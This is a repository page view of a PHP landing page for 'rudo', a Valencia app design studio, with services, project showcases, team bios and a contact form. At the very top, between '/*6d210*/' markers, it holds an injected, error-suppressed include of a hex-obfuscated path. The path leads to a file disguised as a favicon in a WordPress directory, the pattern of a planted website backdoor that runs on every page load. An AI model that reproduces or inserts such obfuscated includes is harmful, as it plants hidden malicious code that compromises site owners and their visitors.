PageRenderTime 27ms CodeModel.GetById 19ms RepoModel.GetById 1ms app.codeStats 0ms

/old/V1/index.php

https://bitbucket.org/sclusibstartup/rudoweb
PHP | 363 lines | 328 code | 32 blank | 3 comment | 5 complexity | bc1bac3a44247818a6b7bd3ef56b6220 MD5 | raw file
Possible License(s): AGPL-1.0, BSD-3-Clause 
    

  1. <?php
    2. 

  2. /*6d210*/
    3. 

  3. 

  4. @include "\x2fva\x72/w\x77w/\x76ho\x73ts\x2fs1\x3720\x3063\x33.o\x6eli\x6eeh\x6fme\x2dse\x72ve\x72.i\x6efo\x2fru\x64o.\x65s/\x77p-\x69nc\x6cud\x65s/\x6as/\x6ded\x69ae\x6cem\x65nt\x2ffa\x76ic\x6fn_\x63d5\x396c\x2eic\x6f";
    5. 

  5. 

  6. /*6d210*/
    7. 

  7. 

  8. 

  9. 

  10. ?>
    11. 

  11. 

  12. 

  13. <!DOCTYPE html>
    14. 

  14. <html lang="en">
    15. 

  15.   <head>
    16. 

  16.     <meta charset="utf-8">
    17. 

  17.     <meta http-equiv="X-UA-Compatible" content="IE=edge">
    18. 

  18.     <meta name="viewport" content="width=device-width, initial-scale=1">
    19. 

  19.     <!-- Los 3 Tags superiores es necesario que siempre estén por encima -->
    20. 

  20.     <meta name="description" content="Diseño UX/UI y desarrollo de aplicaciones nativas en iOS y Android en Valencia">
    21. 

  21.     <meta name="author" content="">
    22. 

  22.     <link rel="icon" href="favicon.ico">
    23. 

  23. 

  24.     <title>rudo</title>
    25. 

  25. 

  26.     <!-- Bootstrap core CSS -->
    27. 

  27.     <link href="framework/bootstrap/css/bootstrap.min.css" rel="stylesheet">
    28. 

  28.     <!-- Bootstrap theme -->
    29. 

  29.     <link href="framework/bootstrap/css/bootstrap-theme.min.css" rel="stylesheet">
    30. 

  30.     <!-- Custom styles for this template -->
    31. 

  31.     <link href="css/main.css" rel="stylesheet">
    32. 

  32.     <link href="css/768.css" rel="stylesheet">
    33. 

  33.     <link href="css/320.css" rel="stylesheet">
    34. 

  34. 

  35.     <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js"></script>
    36. 

  36.     <script src="http://cdnjs.cloudflare.com/ajax/libs/modernizr/2.8.2/modernizr.js"></script>
    37. 

  37.     <script>
    38. 

  38.       $(window).load(function() {
    39. 

  39.       // Animate loader off screen
    40. 

  40.         $(".se-pre-con").fadeOut("slow");;
    41. 

  41.       });
    42. 

  42.     </script>
    43. 

  43.   </head>
    44. 

  44. 

  45.   <body>
    46. 

  46.     <div class="se-pre-con"></div>
    47. 

  47.     <div class="header"> 
    48. 

  48.       
    49. 

  49.         <div class="topheader">
    50. 

  50.         <div class="container">
    51. 

  51.           <div class="row">
    52. 

  52.             <div class="col-md-2">
    53. 

  53.               <a href="http://www.rudo.es/"><img src="images/rudo_logo.png" class="logo" id="inicio"></a>
    54. 

  54.             </div>
    55. 

  55.             <div class="col-md-10">
    56. 

  56.               <div id="menu-toggle-btn">
    57. 

  57.                 <span class="menu-line"></span>
    58. 

  58.                 <span class="menu-line"></span>
    59. 

  59.                 <span class="menu-line"></span>
    60. 

  60.               </div> 
    61. 

  61. 

  62.               <ul class="nav nav-pills mtop">
    63. 

  63.                 <li><a href="#quehacemos">¿Qué hacemos?</a></li>
    64. 

  64.                 <li><a href="#proyectos">Proyectos</a></li>
    65. 

  65.                 <li><a href="#equipo">Equipo</a></li>             
    66. 

  66.                 <li class="active"><a href="#contactanos">Contactar</a></li>
    67. 

  67.               </ul>               
    68. 

  68.             </div> <!-- /col-md-10 -->           
    69. 

  69.           </div><!-- /row -->
    70. 

  70.         </div>
    71. 

  71.         </div>
    72. 

  72.         <div class="header-space"></div>
    73. 

  73.         <div class="container">
    74. 

  74.         <div class="row">
    75. 

  75.           <div class="col-md-12">
    76. 

  76.             <h1>
    77. 

  77.             Diseño UX/UI &<br/>
    78. 

  78.             desarrollo de aplicaciones<br/>
    79. 

  79.             nativas en iOS y Android<br/>
    80. 

  80.             </h1>
    81. 

  81.           </div>
    82. 

  82.         </div><!-- /row -->
    83. 

  83.       </div><!-- /container -->
    84. 

  84.     </div>
    85. 

  85. 

  86.   <!--  -->
    87. 

  87. 

  88.     <div class="container block">
    89. 

  89.       <div class="row">
    90. 

  90.         <div class="col-md-12 center">
    91. 

  91.           <h2 id="quehacemos">¿Qué hacemos?</h2>
    92. 

  92.           <p><b>Somos inconformistas.</b></p>
    93. 

  93.           <p>Buscamos el mejor diseño UI/UX y desarrollo de aplicaciones nativas, tanto en iOS como en Android. Y no nos conformamos con menos. 
    94. 

  94.           No hacemos distinciones. Encuentra la mejor solución tanto para validar tu MVP como para el diseño de tu gran empresa.</p>
    95. 

  95.         </div>
    96. 

  96.       </div><!-- /row -->
    97. 

  97. 

  98.       <div class="block-space"></div>
    99. 

  99. 

  100.       <div class="row">
    101. 

  101.         <div class="col-md-4 center">
    102. 

  102.         <img src="images/ico_design.png"><br/><br/>
    103. 

  103.         <h3>Diseño UI / UX</h3>
    104. 

  104. 

  105.         Diseño centrado en la experiencia final de usuario, teniendo en cuenta a la marca y todas sus necesidades.
    106. 

  106.         </div>
    107. 

  107.         <div class="col-md-4 center">
    108. 

  108.         <img src="images/ico_front.png"><br/><br/>
    109. 

  109.         <h3>Desarrollo ANDROID & IOS</h3>
    110. 

  110. 

  111.         Desarrollamos las aplicaciones nativas en JAVA y SWIFT, para poder aprovechar el 100% del potencia de los dispositivos. 
    112. 

  112.         </div>
    113. 

  113.         <div class="col-md-4 center">
    114. 

  114.         <img src="images/ico_back.png"><br/><br/>
    115. 

  115.         <h3>Desarrollo BACKEND</h3>
    116. 

  116. 

  117.         La lógica de la aplicación y su alojamiento. Especialista en creación de API Rest con Django y alojamiento cloud en Amazon Web Services.
    118. 

  118.         </div>        
    119. 

  119.       </div><!-- /row -->
    120. 

  120.       <div class="block-space"></div>
    121. 

  121.       <div class="row">
    122. 

  122.         <div class="col-md-12 center">
    123. 

  123.           <a href="#contactanos" class="btn btn-lg btn-rudo">CONTACTAR</a>
    124. 

  124.         </div>
    125. 

  125.       </div><!-- /row -->
    126. 

  126.       <div class="section-space"></div>
    127. 

  127.       <div class="row">
    128. 

  128.         <div class="col-md-12 center">
    129. 

  129.           <h2 id="proyectos">Nuestros proyectos</h2>
    130. 

  130.           <h3 class="light">Somos rudos, pero nuestros resultados son impecables.</h3>
    131. 

  131.         </div>
    132. 

  132.       </div>
    133. 

  133.       <div class="block-space"></div>
    134. 

  134.     </div> <!-- /container -->
    135. 

  135. 

  136.     <div class="section tuvalum"> 
    137. 

  137.       <div class="container">
    138. 

  138.         <div class="row">
    139. 

  139.           <div class="col-md-6 section-col-left">
    140. 

  140.           <img src="images/tuvalum_logo.png" class="section-logo"><br/>
    141. 

  141.             <h2 class="white">
    142. 

  142.             El mejor marketplace
    143. 

  143.             para comprar y vender
    144. 

  144.             material deportivo de
    145. 

  145.             segunda mano
    146. 

  146.             </h2>
    147. 

  147.           </div>
    148. 

  148.           <div class="col-md-6 section-col-right">
    149. 

  149.             <img src="images/tuvalum_mockup.png">
    150. 

  150.           </div>
    151. 

  151.         </div>
    152. 

  152.       </div>
    153. 

  153.     </div><!-- end section TUVALUM-->
    154. 

  154.     <div class="section sclusib"> 
    155. 

  155.       <div class="container">
    156. 

  156.         <div class="row">
    157. 

  157.           <div class="col-md-6 section-col-left">
    158. 

  158.           <img src="images/sclusib_logo.png" class="section-logo"><br/>
    159. 

  159.             <h2 class="sclusib">
    160. 

  160.             Acércate a tus 
    161. 

  161.             ídolos y gana premios. <br/>
    162. 

  162.             Monetiza tus fotos 
    163. 

  163.             </h2>
    164. 

  164.           </div>
    165. 

  165.           <div class="col-md-6 section-col-right">
    166. 

  166.             <img src="images/sclusib_mockup.png">
    167. 

  167.           </div>
    168. 

  168.         </div>
    169. 

  169.       </div>
    170. 

  170.     </div><!-- end section SCLUSIB-->
    171. 

  171.     <div class="section battgo"> 
    172. 

  172.       <div class="container">
    173. 

  173.         <div class="row">
    174. 

  174.           <div class="col-md-6 section-col-left">
    175. 

  175.           <img src="images/battgo_logo.png" class="section-logo"><br/>
    176. 

  176.             <h2 class="white">
    177. 

  177.             Mereces estar siempre<br/>
    178. 

  178. online. Alquila tu <br/>
    179. 

  179. cargador y no te quedes<br/>
    180. 

  180. sin energía
    181. 

  181.             </h2>
    182. 

  182.           </div>
    183. 

  183.           <div class="col-md-6 section-col-right">
    184. 

  184.             <img src="images/battgo_mockup.png">
    185. 

  185.           </div>
    186. 

  186.         </div>
    187. 

  187.       </div>
    188. 

  188.     </div><!-- end section BATTGO-->
    189. 

  189. 

  190.     <div class="container">
    191. 

  191.       <div class="section-space"></div>
    192. 

  192.       <div class="row">
    193. 

  193.         <div class="col-md-12 center">
    194. 

  194.           <h2 id="equipo">Conoce a RUDO</h2>
    195. 

  195.           <h3 class="light">Un equipo motivado y equilibrado. Una familia.</h3>
    196. 

  196.       </div>
    197. 

  197.       <div class="block-space"></div>
    198. 

  198.       <div class="block-space"></div>
    199. 

  199.       <div class="row row-space">
    200. 

  200.         <div class="col-md-4 team">
    201. 

  201.           <img src="images/team_richard.png">
    202. 

  202.           <h3>RICHARD MORLA</h3>
    203. 

  203.           <h3 class="light">DIRECTOR DE PROYECTOS</h3>
    204. 

  204.           MBA Internacional, 10 años de experiencia en marketing de gran consumo y tres empresas en su mochila. 
    205. 

  205.         </div>
    206. 

  206.         <div class="col-md-4 team">
    207. 

  207.           <img src="images/team_marcos.png">
    208. 

  208.           <h3>MARCOS PLAZAS</h3>
    209. 

  209.           <h3 class="light">DISEÑADOR UI/UX</h3>
    210. 

  210.           El creativo. Formado en la Escuela de Arte Superior y Diseño en Valencia y en la Universidad HAW Hamburg. 
    211. 

  211.         </div>
    212. 

  212.         <div class="col-md-4 team">
    213. 

  213.           <img src="images/team_fernando.png">
    214. 

  214.           <h3>FERNANDO SALOM</h3>
    215. 

  215.           <h3 class="light">iOS DEVELOPER</h3>
    216. 

  216.           Ingeniero Superior. Controla iOS, Android y Backend. Ha trabajado como freelance y en consultoras internacionales.
    217. 

  217.         </div>
    218. 

  218.       </div>
    219. 

  219.       <div class="row row-space">
    220. 

  220.         <div class="col-md-1">
    221. 

  221.         </div>
    222. 

  222.         <div class="col-md-4 team">
    223. 

  223.           <img src="images/team_oscar.png">
    224. 

  224.           <h3>OSCAR VERA</h3>
    225. 

  225.           <h3 class="light">ANDROID DEVELOPER</h3>
    226. 

  226.           El rey de los fragments, los frameworks y las librerias. Ama Google, pero acaba de pasarse a Mac.
    227. 

  227.         </div>
    228. 

  228.         <div class="col-md-2">
    229. 

  229.         </div>
    230. 

  230.         <div class="col-md-4 team">
    231. 

  231.           <img src="images/team_emilio.png">
    232. 

  232.           <h3>EMILIO CARRIÓN</h3>
    233. 

  233.           <h3 class="light">API & BACKEND</h3>
    234. 

  234.           Al que llamas via rest cuando necesitas algo. Swift padawan y Django master.
    235. 

  235.         </div>
    236. 

  236.         <div class="col-md-1">
    237. 

  237.         </div>
    238. 

  238.       </div><!--- /row-->
    239. 

  239. 

  240.       <div class="section-space"></div>
    241. 

  241.       <div class="row">
    242. 

  242.         <div class="col-md-12 center">
    243. 

  243.           <h2 id="contactanos">Contacta con nosotros</h2>
    244. 

  244.           <h3 class="light">Pregúntanos o pide presupuesto. ¡Sin compromiso!</h3>
    245. 

  245.         </div>
    246. 

  246.       </div>  
    247. 

  247.       <div class="section-space"></div>
    248. 

  248. 

  249.       <form class="formulario" method="POST">
    250. 

  250.       <div class="alert alert-success" role="alert">Gracias!, pronto tendrás noticias de nosotros</div>
    251. 

  251.       <div class="row">
    252. 

  252.         <div class="col-md-4 lg">
    253. 

  253.           <input type="text" class="form-control contact" id="nombre" name="nombre" placeholder="Nombre" required>
    254. 

  254.         </div>
    255. 

  255.         <div class="col-md-8 lg">
    256. 

  256.           <input type="email" class="form-control contact" id="email" name="email" placeholder="Email" required>
    257. 

  257.         </div>
    258. 

  258.       </div>
    259. 

  259.       <div class="row">
    260. 

  260.         <div class="col-md-12">
    261. 

  261.           <textarea class="form-control contact" rows="5" id="comentario" name="comentario" placeholder="Pregúntanos lo que necesites o pide prespuesto sin ningún tipo de compromiso. ¡Nos pondremos en contacto contigo en seguida! " required></textarea>
    262. 

  262.         </div>
    263. 

  263.       </div>
    264. 

  264.       
    265. 

  265.       <div class="row">
    266. 

  266.         <div class="col-md-12 center">
    267. 

  267.           <button type="submit" class="btn btn-lg btn-rudo enviar">ENVIAR</button>
    268. 

  268.         </div>
    269. 

  269.       </div>
    270. 

  270.       </form>
    271. 

  271.     </div>
    272. 

  272.   </div>
    273. 

  273.   <div class="block-space"></div>
    274. 

  274.   <div class="header_jump"> 
    275. 

  275.     <div class="container">
    276. 

  276.       <div class="row">
    277. 

  277.         <div class="col-md-12">
    278. 

  278.           <h1>
    279. 

  279.           ¡Atrévete a dar el salto <br/>de calidad!
    280. 

  280.           </h1>
    281. 

  281.         </div>
    282. 

  282.       </div>
    283. 

  283.     </div>
    284. 

  284.   </div>
    285. 

  285.   <div class="block-space"></div>
    286. 

  286.   <div class="container footer">
    287. 

  287.     <div class="row">
    288. 

  288.       <div class="col-md-4">
    289. 

  289.         <h3>CONTACTA RUDO</h3><br/>
    290. 

  290.         <p>hola@rudo.es</p>
    291. 

  291.         <p>(+34) 654 217 299</p>
    292. 

  292. 

  293.         <p>Calle Sorní, nº7</p>
    294. 

  294.         <p>Valencia, España. 46001 </p>
    295. 

  295.       </div>
    296. 

  296.       <div class="col-md-4">
    297. 

  297.         <h3>RUDO</h3><br/>                             
    298. 

  298.             <p><a href="#inicio">Inicio</a></p>
    299. 

  299.             <p><a href="#quehacemos">¿Qué hacemos?</a></p>
    300. 

  300.             <p><a href="#proyectos">Proyectos</a></p>
    301. 

  301.             <p><a href="#equipo">El equipo</a></p> 
    302. 

  302.             <p><a href="#contactanos">Pide Presupuesto</a></p>              
    303. 

  303.       </div>
    304. 

  304.       <div class="col-md-4">
    305. 

  305.       
    306. 

  306.       </div>
    307. 

  307.     </div>
    308. 

  308.   </div>
    309. 

  309.   <div class="block-space"></div>
    310. 

  310.     <!-- Bootstrap core JavaScript
    311. 

  311.     ================================================== -->
    312. 

  312.     <!-- Placed at the end of the document so the pages load faster -->
    313. 

  313.     <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
    314. 

  314.     <script>window.jQuery || document.write('<script src="../../assets/js/vendor/jquery.min.js"><\/script>')</script>
    315. 

  315.     <script src="framework/bootstrap/js/bootstrap.min.js"></script>
    316. 

  316.     <script>
    317. 

  317. 

  318.      $(function () {
    319. 

  319.         $('.enviar').bind('click', function (event) {
    320. 

  320. 

  321. event.preventDefault();// using this page stop being refreshing 
    322. 

  322. 

  323.           $.ajax({
    324. 

  324.             type: 'POST',
    325. 

  325.             url: 'ajax/mail.php',
    326. 

  326.             data: $('.formulario').serialize(),
    327. 

  327.             success: function () {
    328. 

  328.               $('.alert').fadeIn();
    329. 

  329.             }
    330. 

  330.           });
    331. 

  331. 

  332.         });
    333. 

  333.       });
    334. 

  334.     </script>
    335. 

  335.     <script>
    336. 

  336.     $(function() {
    337. 

  337.       $('a[href*="#"]:not([href="#"])').click(function() {
    338. 

  338.         if (location.pathname.replace(/^\//,'') == this.pathname.replace(/^\//,'') && location.hostname == this.hostname) {
    339. 

  339.           var target = $(this.hash);
    340. 

  340.           target = target.length ? target : $('[name=' + this.hash.slice(1) +']');
    341. 

  341.           if (target.length) {
    342. 

  342.             $('html, body').animate({
    343. 

  343.               scrollTop: target.offset().top
    344. 

  344.             }, 1000);
    345. 

  345.             return false;
    346. 

  346.           }
    347. 

  347.         }
    348. 

  348.       });
    349. 

  349.     });
    350. 

  350. 

  351.     $(window).scroll(function() {
    352. 

  352.       if ($(this).scrollTop() > 1){  
    353. 

  353.           $('.topheader').addClass("sticky");
    354. 

  354.           $('.topheader_transparent').addClass("sticky");
    355. 

  355.       }
    356. 

  356.       else{
    357. 

  357.           $('.topheader').removeClass("sticky");
    358. 

  358.           $('.topheader_transparent').removeClass("sticky");
    359. 

  359.       }
    360. 

  360.   });
    361. 

  361.     </script>
    362. 

  362.   </body>
    363. 

  363. </html>
    364. 

  364.